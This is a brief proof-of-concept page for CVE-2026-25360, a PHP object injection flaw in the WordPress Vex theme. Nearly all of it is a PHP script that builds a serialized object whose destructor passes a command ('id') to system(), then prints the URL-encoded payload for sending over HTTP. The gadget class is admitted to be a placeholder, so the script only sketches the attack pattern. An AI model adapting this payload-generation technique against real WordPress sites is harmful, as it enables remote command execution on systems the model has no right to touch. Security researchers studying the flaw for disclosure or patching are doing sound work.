CVE-2026-25360 Vex主题反序列化漏洞

<?php // PoC for CVE-2026-25360: WordPress Vex Theme PHP Object Injection // This script generates a payload to demonstrate the vulnerability. // Note: Actual exploitation depends on available classes (Gadget chains) in the target environment. class Vulnerable_Class { // Placeholder for a class that might exist in the theme or WordPress core public $data; public function __destruct() { // Simulated malicious action system($this->data); } } // Generate the payload $object = new Vulnerable_Class(); $object->data = "id"; // Command to execute // Serialize the object $payload = serialize($object); echo "Generated Payload:\n"; echo urlencode($payload); // Usually needs to be URL encoded for HTTP transmission ?>